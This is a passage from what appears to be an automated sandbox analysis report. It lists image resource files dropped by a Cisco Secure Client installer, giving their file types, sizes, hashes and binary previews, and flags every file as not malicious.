SHA-256:	EBBA9313774314E18ABB4F4342B1C0C93DF22DD45146C6E84A08EB39BD419825
SHA-512:	C77FA7F8791A4852DBA2C9402D705E6C4CDB92DAAF71CD5F46EA8AD6EA35E41D4CFF42296C2F08133A82AE1F31DCA05C61B29AC291F85BBE4C7FDF088A4F0866
Malicious:	false
Preview:	.PNG........IHDR...-...-.....].6.....pHYs...#...#.x.?v.. .IDATx....U.._l.eK.ImJ\.7`vV...R..t..P3.L...N.DZ..R........!8...`..$.dqj..j..-.a.C.....+...WB)S.tc..N.j..xOs.>...\|....UT7....s.......c.!.Q_j.!.......rw..5.....E}.q...R..V.N'Na..@...-...y.`......h..)LS.........J!.....V<(Z9...8E:...-.B.'z.?..1.>X../.k.W(Z9C:.y.=.0.s._.K..#...-........_.0..1...P..C.{-R.Z.~>j.O.X..1...@.r.YJ.....Q.._/......7M..o.4\|....J&.t.w. .9sV.\|..kz^?5.....K.....D......Q.fd..VFIJ. >..;..".$EG'>I...m..=....E...<...?..e..V..S.\|1.3s........K@. ^.w...../`..Bf..V......\....f.w.............).'..!G!`...8......r..!)X5..l.....N%.>.T.x.mq..).E$bp\.....>&.E+A\..Z.?8.E.g.93.....v.T...I...XGW.'j5rL...WBP..@.)l.....=..=......{q...\|.Gtv.Vkr..k7s_.C.............i.l....B.#./.`.....1.(Z1 .jK...tT....._.%.D....W.P.".....z..X.^..7:.z..W..UB...V.."V~..."..!.s/..9.*.G.W.P.j.Z...B...5K..9.\.........}.P...b50T...j.f.U1.....s..}.._.J<^.s...V.d.U..,k VpU..............M..I.u.......%

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-TOLHK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 72 x 72, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2274
Entropy (8bit):	7.88487369762579
Encrypted:	false
SSDEEP:	48:ANENb8K8isarhoHup4l7Hn5MPuvW5LApZJ+WoXY:Bbx3rGHupubC6NpzSXY
MD5:	02AA7BFBC5519A9410E0D27732A6A163
SHA1:	9DDE546C6090CA4BD8BE58F8625A6AE25D440E6E
SHA-256:	B08A8AE17D62E9CF9D6E91E59955AF91E1B126FD82BC1071BDAFEE8AB6818253
SHA-512:	323777E1ABC44F643AD6AE581970D551D6BB94DF485377E91DB411ED8B839C47F8490002DF9756AD340BC19D8676050A620A1008F211B3AC32C39BE37CD35093
Malicious:	false
Preview:	.PNG........IHDR...H...H.....U.G....pHYs...........~.....IDATx...LUe....]i...%L.......^....#.J[6...[.Q.....2.0.p...sT...o.c.n..dE[N/E.9..H..k.....{..s.....wc.{.=?..}..}..}.3....jK#.d"......&"......ug.\|b......".&.,"J..[.x..&.J$s....]=t..........TMDU.G.5=._.@&...........c[\|V..v...\|3..3.......,...`vp0.@.H...e.`V..`]..g.^sN........ o0..-.gQFz........J..+j.h@&...T@D...k.zwl1Z.t.......r.U.. n5..5p..{..f1r.E.=P"\..6.jM..2Ym.....u.V..=[)&:."i...^.{.(U.:C.V..uMjo........N.DG..9.......?.4,....)cy..H5?]..s..5.lm.w:TAR...)M...YV.GK...<.....\|.".p.%.....f.u5............Rr..y.}..DLSr.".z...w....n..d...8B.@...xmU.4+...J.n............(KQ~...,.L....>..LV..9....[..../.G.T..(..>4(7...xGw........h.....X.....{..V-@B.../..y..1..W.d. nn...&....~...S`....k...@k{.w.dP-.n....Z.(...=.:...N..#\......-~......0..;...K. .'....;..\|J.n.d.t...A_O)d..g r...w-...e........@5.d.v...........e.y-....3\.......H..[.g.roI.=.(B...\.d.....jh..K..S.].......Xf...jC....ol...2

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-U0V2V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 3226 x 2235, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	76615
Entropy (8bit):	6.470162664157233
Encrypted:	false
SSDEEP:	1536:qGdM/siSNo+PH4MwDCfwvTaBFdzIWxtLudTc8OuTk3kMgH/0:q5sioYMwL7aBF1x0dTcqTFf0
MD5:	BCB76C77C4A705631EAECEAD63D6A8EF
SHA1:	915C69643CCCB39E4DED27AC866C3F6872D740A2
SHA-256:	C5A9EB1365BF8D546649281DE3C9E31FB27F9E39B54BC860961F026E95D653B2
SHA-512:	07349A6E550BDC44091329DF5303EB9BB845E54926346ACD9D5FA74FD9F596E73B3D04FD1098079564D4EEB9FBB03F7F9126C0D16433DE9456C5556741B06121
Malicious:	false
Preview:	.PNG........IHDR...............k.....pHYs...#...#.x.?v.. .IDATx.....8.(`.T.E...D0..n.............\..;..`G.'...2.....W/.?[.$.y..j...gY.......................................................................................................................W..Tus7..%......m.....Bx.Bx.w......P.QU7.B.gW...k]?;T....J.s....i`9g...m...R{,1e...S...+3V.P..@......"......@....Q.(.D!......@....Q.(.D!......@....Q.(.D!......@....Q.(.D!.............G.<...k~..~.B.p....}.d(........>..V.7......~.&..m[...(.{s[.......S..=.0.>..........0p.......aP.4...R.&...I.K.s......=...=.K.Vu.".b.l...Q.(.D!......@....Q.(.D!......@....QX..D......1\h....}}...;}\|>.e....;..\t.tE.........9"}\|9..&.m.S+...-m:.C3y.K..!..b....mi.....b.>~;..f...f.....S.P...g.......P..B@. ....(.....P..B@. ....(.....P..B@. ....(.....P ....%.P...e......u;.k...&.......=.....h..2(....=..%..A....yH..-..}<...IX.=......yO..U....>yImj[......'.;...B@...i..-.S.n..tnk..m.:..>v......5.g.SI'..f.K.U..e.{......6...+.3y..-:.x..f...

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-UQFGU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	Targa image data - Map 32 x 2841 x 1 +1
Category:	dropped
Size (bytes):	431993
Entropy (8bit):	4.565786626694248
Encrypted:	false
SSDEEP:	3072:qG481XVja/lkbbVYHd6saT3N2z00cAXoKM0Baf0I:qC3a/lkbbaHd6saT3QZnXdBZI
MD5:	A6441E0D126BDAEB1308C9B4EB5D30D7
SHA1:	07206E99763B97507D5D7BCB3DF221F48ABF60FF
SHA-256:	5A624CBE0242B49FE13104345760BD16F6B2D50F1AC9FB19B92F76BDBBED938A
SHA-512:	DC85660518234A581F3EA19FB5892F53B1BA3671293F5BB886AD63D91CCEA0AC31E55ECEA528487AF1BC343CF226E268CF50B4903D67430919FD9B715889EB7B
Malicious:	false
Preview:	............ ............... ............... .^N............ .(R............ .(...!S..``.... .....I[..@@.... .(B......00.... ..%...2..((.... .h....W.. .... .....)r........ .............. .....Y......... .h........PNG........IHDR.....................pHYs..........o.d.. .IDATx...wtUU....MO..B....TA.. ...l....Ti"H.E...D@lT.EA.).... ........R...{o...Jd..o.L...},.RJ9.1.......#W..` (.#.._.....?>\|..ki@j.G..........q..........2>....( ......RJ)u.,..J).2..a@^ <....C..?;..}9..f..p....\|..#,.J...Rn.]..(.T.3.x....@..\|.D..vu.N....W.\|D.....y..(..5.c, ..^..!}.....Np...eY)B.R...PJy<cL(P9."._.............^...W....RJ)G..@).1.1.@9...U2>..UGy.(2......,..M..R6..@).1..r._....dH.S.WC.Ws.eYi...R+h...ri..?.j.........[..vsyc.eY...R..i...r).....wd\|.B..+.....M.F`.eY.e#)....@).h.R..._..=...K9.q....>v..".....Q..cdl.....w.~Q.R.$.......t.R.I..PJ...<.C.}..&....M...h..(.l.1.....J..!...2>.Y.uA8.R...^.T.2...........H).I...V..,..!.G)...PJe..}....S.....r9'.....e....r3..(.n.1.8......M

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-UTACB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.139959170245274
Encrypted:	false
SSDEEP:	12:6v/7Hel//IgFAkq3Dhp5tRX3Sq+IeSzgKOg6p2e:aehvFXSELAgKja2e
MD5:	34C2847A763607A881B1E9A81CA9A4DC
SHA1:	B6050C2A1AA45C78F273B76FB729158E0F172D18
SHA-256:	4D735FCC94C53B0753F49E2656EE480D37F4899520F17C48FF7D1F0DDC2A9A8C
SHA-512:	8E3C4C1F62BDF79B2C5263D0C4DD97E302261A0C5C9399C13FADD3E25301F7DDA7297ECE3A8352534C9DA4B3A23FFE497FD61BDA348D14BB6658AF2C66863727
Malicious:	false
Preview:	.PNG........IHDR..............w=.....pHYs...........~....6IDATH...M.0.E.L....&hG..t...f.........F`.l..}n.....B..).....}.p.k....x..3n\|oI.^..G._~%..3...7~.^...#D..]/.lD.....{...#..:...k..+n.U.....)".]'g...9Y...G.w^v.&.FX{....".i.k.:..bN.......b.(H......8.y. .E...s$.V.....U.sOwFo.#...a;:....2.....=.....P...ct.k.A..-....Q...<..R...$.FX.-M......k.W...b.}2o.....p.........IEND.B`.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-V7KTM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 101 x 101, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2245
Entropy (8bit):	7.881067272381913
Encrypted:	false
SSDEEP:	48:RTfEfdH62oMLD03CqIngSp9wZM/vgRzmD0XQ8/CvbJkfG2:RwfYHt6qKmzmD0g8/Cv9kfG2
MD5:	FC4A9201524066297A4C6DD0760D646C
SHA1:	7B6B7710A1B9EEDAC515FEEE90728A405AC07937
SHA-256:	B19294D4FF3378820B91BF8D2DBC53CB9C8BB531A5CA7E0F4C728AC757C0CD29
SHA-512:	2597C04C2740000747731CB3FF55E7C15675D86578CD0FC73A8F04D84CD084142BF0BFAE55DD81B6AFA1CDE2585EEF233B9BBAB1C05655B3099FA1BBFAECD3DD
Malicious:	false
Preview:	.PNG........IHDR...e...e.....T\|-.....pHYs...#...#.x.?v...wIDATx..].R#9..w../..2.c.+..'....O.s..X...y......oD.s....g........nukZ.xo..,..f>...[..0`.......0.....y.bvh.9q.w.k....}_.cj.....1f....e...._R..}...1g...W.X.,9_L9/.>D..E..qi.3..&....h..C.....)....3.RI.aU.%...U.qd$..Yu..#CK5i..s...<..3K.u...F.r.R....V.c........>..3)j..>uhC.4....v.J.jm..c.L9.......8..WA.....x....j....3..:....>.c...95.\|.eL.qI...V0+..'.l\|.........0.. .)..V...z;..M";q.c....bv.T.K.....Fr...];bT%[...!.#..a.5..P..]Rx.X....Q.>1.F..=Rx.,L9.........ck,1G...'....#d...X@....w...'g.:.;)..S..vo..A...#..yo..M}A..+!.Q....h'....$<y..N...\|..n..!.R......_.Y...1.C'G8)~.D.....H..-Pu......6N.>..0R.j....qP...../.9.]r..........."...<Cv.3r.(.W(.B$......N.....{I.R..Fok.b.-Pq_.$`q...A.KLu......8.....x..=.?...).t....PyD.0.m.........n.`/......zd^....I%...4.^.4C..!/w......l.HZ..l...T.>...KgH.5...}..+.6F.i.....4.6%.....A;8`6q...Z].av....]']v.....W........L.W.R.MK..?%^R..RcL.3._#...G...1.{..0F %.h3....k.B.>r

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-VC0QA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 201 x 201, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	12436
Entropy (8bit):	7.977312501768235
Encrypted:	false
SSDEEP:	192:9duiLviw1Tg2WOFeuMhEhKPewOSJKVBpFGo5cJUs1P3X3cI78saDjy6Z7KiasZM1:7vJ0OYhbPWEKLaoe9dXsI789HZTla
MD5:	3F1083A6458C2CC3E9743D03ACB0D349
SHA1:	280DA65E961DAC251D6394A234E92FB110DBC998
SHA-256:	78A87D7B4CDA2E04CF4A608C78CE627450E15CD75AE121B4D72466837197D096
SHA-512:	250604CE42BD866B870A50B01E892036364DBBBEA1AC58EF60B3E4E38513A9DADE3987459FBD83681435D74521B368550DFE329E70CDD84837BAFCD2E43B53A2
Malicious:	false
Preview:	.PNG........IHDR...............&.....pHYs...#...#.x.?v.. .IDATx..}.xV...c....../\..T..@.....T.`.d....H.H..^F.@...!.X.x.PqP..{4...4.F.I.......2....".?...f......._...?.u.....}$,$..._TZH.9H..q....5...[.[T.#=.=..._...s..R.0Or..5eCl...g..e7.+z?eE........6.~.";.y....W.(?...Wf:P..gI.<b.Lr..Qd..........\.A......t.`,._...u...`/.........!.{...T./...........+....>C......8.....[.. ...WNQ~.;v..3...b5.l...\~....+R....+.. ........`..........{;v.\|Ry..x..UQ.&..%..$....>s......../..2..\T..Y..G#......x....W\.DT[.....v},]I.Vr.m.....x.......1.cu.D...bO:...6...,[\)=....,o..o.a.(.".....&.D.......=x...P&.........".}z+/_..X`etu..J......1....A..;...B...{.....M./Vb....v.T.a..3.....k.....T..JC.u....`.[..(R..........{..4R...B.8...vE...}w5...[.....F...3pTU{k.Bz.L....-T...T..?......\|Py0..&.J.\|...........{"..3pT.V.r...PH..R..M5V..AB.8...R..A.\......(3.p;..\.h.m....p..Q..'ok...O.6.$.....g...J...0...?O.~[[.),,4..N.......M.....cb.jT.JU.e..........1..({DW....K.*,=..!..

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-VGC5B.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 534 x 534, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	26026
Entropy (8bit):	7.927985837095832
Encrypted:	false
SSDEEP:	768:TKQua9HUsr5RRxO5oEt9jwIZmYCEHme0KV:+Xa9RLxO5o29jNGEGk
MD5:	5DC7A6BEE91DE8331C802B1647F5AD10
SHA1:	D9F8150235EF917E6884AA963C292530AE7ED599
SHA-256:	4D9B3A95A941BD32E42171770195872958DB56A6C2CB6FAE664500E947911149
SHA-512:	BC32B66AD44C88DB95995B08A4A2E7D420035CC02318756AD10F854B884B613C8CEE3017E7708B7E4865B06961B7292CBD91B3091B0BC61889A71A06C5A17E98
Malicious:	false
Preview:	.PNG........IHDR.............\|@.E....pHYs...#...#.x.?v.. .IDATx.._l.G....ZF.0..4...R...z.G..i/z.6.,...eE.!..s.(...0.E...{0.~.........$.2f...^J.....7.-.1nR'....\K...0.2..Ak.._....Y..""#"...&U&..."...._...-.....e..n..7.....m.Di.O...o`{[......y..6.>1..P.....D.'..z]..Q.2.u..^lll.. /...E..h..2..j.j..j\|.c.......X&.h.".N..k%...c...L.........e.....j6...[....D....9^"....K..}}}.Dt2..g<..'B.I.....[q....d.:..OB.4'%..I{7.y"..~... q.?iLw..q.[..+...y".8.q.Z%}}}.D....{<.3'"...i6.\|.I\|..NF.eo....D.t;!..G.....s.DP.c.+=v.'......'B....x.+..A....M...3..O..-@...;.J...U!.t.D.itexw"..G?....gE.;.^...4.C...E.I6.I..U!.gLCC....kT.....'E...;j.V..E..f$........+.*."$.n.n"..!.S..."...$y..F.....+.afff...}rHZ`3$.d.Xs4%.'c..g@0;;K.D..w......pee....7...z.2FGGc.''.T.>l....^g>...............R...ty/...o.....,...~.m9p....r.3.~...1......$1....Y...X.-:.HJ..v...N.C........pR...YL...............6.t......)O...sQ.._.g..y..I.....z.w..X..b{..t.2.\/n.n.d'..k...6...F.\|.\|...].-.N..N..q..".......l..%

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\l2_logo.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 301 x 301, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	10239
Entropy (8bit):	7.950564187811269
Encrypted:	false
SSDEEP:	192:uTeKIu+Nxu1/eEefaoIgGSw78i5GJssnezz3Gu5cMrvF6AO:uTeg+NkdeCodGSiV3dcI96AO
MD5:	7DADB01AC22B7AB6F313726AD5977675
SHA1:	274554CDEB3971D3A9250AA0A7597F8B41D17000
SHA-256:	EBBA9313774314E18ABB4F4342B1C0C93DF22DD45146C6E84A08EB39BD419825
SHA-512:	C77FA7F8791A4852DBA2C9402D705E6C4CDB92DAAF71CD5F46EA8AD6EA35E41D4CFF42296C2F08133A82AE1F31DCA05C61B29AC291F85BBE4C7FDF088A4F0866
Malicious:	false
Preview:	.PNG........IHDR...-...-.....].6.....pHYs...#...#.x.?v.. .IDATx....U.._l.eK.ImJ\.7`vV...R..t..P3.L...N.DZ..R........!8...`..$.dqj..j..-.a.C.....+...WB)S.tc..N.j..xOs.>...\|....UT7....s.......c.!.Q_j.!.......rw..5.....E}.q...R..V.N'Na..@...-...y.`......h..)LS.........J!.....V<(Z9...8E:...-.B.'z.?..1.>X../.k.W(Z9C:.y.=.0.s._.K..#...-........_.0..1...P..C.{-R.Z.~>j.O.X..1...@.r.YJ.....Q.._/......7M..o.4\|....J&.t.w. .9sV.\|..kz^?5.....K.....D......Q.fd..VFIJ. >..;..".$EG'>I...m..=....E...<...?..e..V..S.\|1.3s........K@. ^.w...../`..Bf..V......\....f.w.............).'..!G!`...8......r..!)X5..l.....N%.>.T.x.mq..).E$bp\.....>&.E+A\..Z.?8.E.g.93.....v.T...I...XGW.'j5rL...WBP..@.)l.....=..=......{q...\|.Gtv.Vkr..k7s_.C.............i.l....B.#./.`.....1.(Z1 .jK...tT....._.%.D....W.P.".....z..X.^..7:.z..W..UB...V.."V~..."..!.s/..9.*.G.W.P.j.Z...B...5K..9.\.........}.P...b50T...j.f.U1.....s..}.._.J<^.s...V.d.U..,k VpU..............M..I.u.......%

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\l2_logo_72.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 72 x 72, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2274
Entropy (8bit):	7.88487369762579
Encrypted:	false
SSDEEP:	48:ANENb8K8isarhoHup4l7Hn5MPuvW5LApZJ+WoXY:Bbx3rGHupubC6NpzSXY
MD5:	02AA7BFBC5519A9410E0D27732A6A163
SHA1:	9DDE546C6090CA4BD8BE58F8625A6AE25D440E6E
SHA-256:	B08A8AE17D62E9CF9D6E91E59955AF91E1B126FD82BC1071BDAFEE8AB6818253
SHA-512:	323777E1ABC44F643AD6AE581970D551D6BB94DF485377E91DB411ED8B839C47F8490002DF9756AD340BC19D8676050A620A1008F211B3AC32C39BE37CD35093
Malicious:	false
Preview:	.PNG........IHDR...H...H.....U.G....pHYs...........~.....IDATx...LUe....]i...%L.......^....#.J[6...[.Q.....2.0.p...sT...o.c.n..dE[N/E.9..H..k.....{..s.....wc.{.=?..}..}..}.3....jK#.d"......&"......ug.\|b......".&.,"J..[.x..&.J$s....]=t..........TMDU.G.5=._.@&...........c[\|V..v...\|3..3.......,...`vp0.@.H...e.`V..`]..g.^sN........ o0..-.gQFz........J..+j.h@&...T@D...k.zwl1Z.t.......r.U.. n5..5p..{..f1r.E.=P"\..6.jM..2Ym.....u.V..=[)&:."i...^.{.(U.:C.V..uMjo........N.DG..9.......?.4,....)cy..H5?]..s..5.lm.w:TAR...)M...YV.GK...<.....\|.".p.%.....f.u5............Rr..y.}..DLSr.".z...w....n..d...8B.@...xmU.4+...J.n............(KQ~...,.L....>..LV..9....[..../.G.T..(..>4(7...xGw........h.....X.....{..V-@B.../..y..1..W.d. nn...&....~...S`....k...@k{.w.dP-.n....Z.(...=.:...N..#\......-~......0..;...K. .'....;..\|J.n.d.t...A_O)d..g r...w-...e........@5.d.v...........e.y-....3\.......H..[.g.roI.=.(B...\.d.....jh..K..S.].......Xf...jC....ol...2

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\menu.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 24 x 22, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	291
Entropy (8bit):	6.344520469543007
Encrypted:	false
SSDEEP:	6:6v/lhPqJsXTSgECFg9ZA3teRaCCgqMtK+ywsl3DF1bp:6v/7hXeBOgIYawtvyx3/1
MD5:	DA395D5499E3403BC29899F8ED09E0F4
SHA1:	A6806BF5F7B2B0E1DDB705E2DBDF761E704738CD
SHA-256:	E72F87D5171DCD847C6A5994471B97339C4595E0C55591B1641227B56DB02041
SHA-512:	FEF71C2D806F506CD67B3338484C0B100989135012E72B321287C662AD65BD9120B210270D0B023F76FCAFD23237E9EDEDD5987E6B4D3731B9776B2EB338FE18
Malicious:	false
Preview:	.PNG........IHDR..............}\.....gAMA......a.....pHYs...........~.....tIME........w.e....tEXtComment.Created with GIMPW.......tEXtSoftware.Paint.NET v3.5.100.r....gIDATHKc`...!@........0.a\|Rh..r....0E0>)4.}=..t.....0W....x}......a.`\|R...dTw..........B.u..-.z...8.C..^...Y.......IEND.B`.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\mftogglebtn-down-solid.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 300 x 40, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1601
Entropy (8bit):	6.020486157649533
Encrypted:	false
SSDEEP:	24:HA/6I1hxWwUyl3ZknA9VYVhEfNAG+ojoyMmcI1VYj41jCw1jaPl3VYjJoUHH3yG3:g/6G6GknA9Wg2O0y/c0CKum23CuUHiWV
MD5:	F999F81B91475C98DE33D66E186DF2CA
SHA1:	397B889C5AA95A25FFBD128656BE5D91A71F3275
SHA-256:	F807E26DA3A4BBFBD9552D2D50FB0F5FC28AAC46635470E3F834C2042C05310B
SHA-512:	2A43CB4EFC414F8FAE4EA173FB53CF2819975C76170DCEE4A995B3A74786C167C26DF258E1E589ECD92DECB999683EA38C6C4882CC2E299313C9357080521844
Malicious:	false
Preview:	.PNG........IHDR...,...(.......P.....pHYs................:iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" tiff:Orientation="1" xmp:CreateDate="2018-10-09T14:27:50-04:00" xmp:ModifyDate="2018-10-19T17:58:51-04:00" xmp:MetadataDate="2018-10-19T17:58:51-04:00" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:c57f0649-d423-40eb-938e-eeff8347c1a5" xmpMM:DocumentID="xmp.did:c57f0649-d423-40eb-938e-eeff8347c1a5"

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\mftogglebtn-down.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 300 x 40, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1601
Entropy (8bit):	6.01754566314674
Encrypted:	false
SSDEEP:	48:g/6G6GknA9Wg2A/c0glTl3clp3glfHiucV:gSuknmWg2A/qlTlslelfHiucV
MD5:	1F1425233D56C7381E8A1B9544656A3F
SHA1:	13DA3D280A4561F9018BFDF2C55396862B42C3BE
SHA-256:	FD348FEFE62E962AD34D03B3639E850AAEDCEAD2585311F8F665EFFF9319A6BA
SHA-512:	ACEC3FD68209F5AF45FC0736ECD9DB2441E69BD0A0DC43C45CEF2529BDC14B4D4A41696C0BED6E11876F066E137D29E270866FE86F3A20FC4CB9F09BA0EFE0AC
Malicious:	false
Preview:	.PNG........IHDR...,...(.......P.....pHYs................:iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" tiff:Orientation="1" xmp:CreateDate="2018-10-09T14:27:50-04:00" xmp:ModifyDate="2018-10-19T18:00:07-04:00" xmp:MetadataDate="2018-10-19T18:00:07-04:00" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:c52f4fb1-426f-49c5-a2f3-2e915bfa2393" xmpMM:DocumentID="xmp.did:c52f4fb1-426f-49c5-a2f3-2e915bfa2393"

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\mftogglebtn.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 300 x 40, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1577
Entropy (8bit):	5.942243839150427
Encrypted:	false
SSDEEP:	24:HA/6I1hxWwUyl3ZknA9VYVhEfNA6h+REMmcI1VCnw7Pl3Vv7aHH3yGNbBg:g/6G6GknA9Wg26x/c0eG3tmHiGg
MD5:	8675E6CF868FCE7270D170D83CE58757
SHA1:	B08567ACEF2380521759E4A1C12B1C9FE657ABED
SHA-256:	593A68E8FC7ADF787E5728D044AC71D4A9BEC6E4A6BF15895ABC8C4869F33625
SHA-512:	6480B3304656ECA345326A96FEF93B653B9F40550E5B0D14498B2670BAFB497E78A2517911F8E791E1DEC3C9A3070CB4212DB727FBE3FC648F6100E5EF349B2F
Malicious:	false
Preview:	.PNG........IHDR...,...(.......P.....pHYs................:iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" tiff:Orientation="1" xmp:CreateDate="2018-10-09T14:31:46-04:00" xmp:ModifyDate="2018-10-19T17:56:14-04:00" xmp:MetadataDate="2018-10-19T17:56:14-04:00" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:1181fb18-be64-4155-ab97-06d5464c99e6" xmpMM:DocumentID="xmp.did:1181fb18-be64-4155-ab97-06d5464c99e6"

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\nac_logo.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 301 x 301, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	12068
Entropy (8bit):	7.961027992023309
Encrypted:	false
SSDEEP:	192:ukEiqZZQXKSmwL4v9UIqsQ8Dfn0Mv2RYkTONqT0oHrkbthyZpLpXrCAfrdag8csp:uViqZZQXKSmwL4VXJhsYOTynyZpNmAjE
MD5:	7E7FE0627B08E07FEE4ED11C41A9BA59
SHA1:	E3C6036975AD146D70AE76158EEBD3D8109B0C7F
SHA-256:	019183BF0C9A25E37A7EB74ABB3DC7848C1A729BBDA1F557E26A5322DBAF11E2
SHA-512:	30E68B932388A840F92D45AA97C3B9CC012C28F36DE93D315B107C7223DCBFBF94A54A09492E930642555828FCB3F6CA519F75BE6EA451DFF7B1D2F5B8FA2472
Malicious:	false
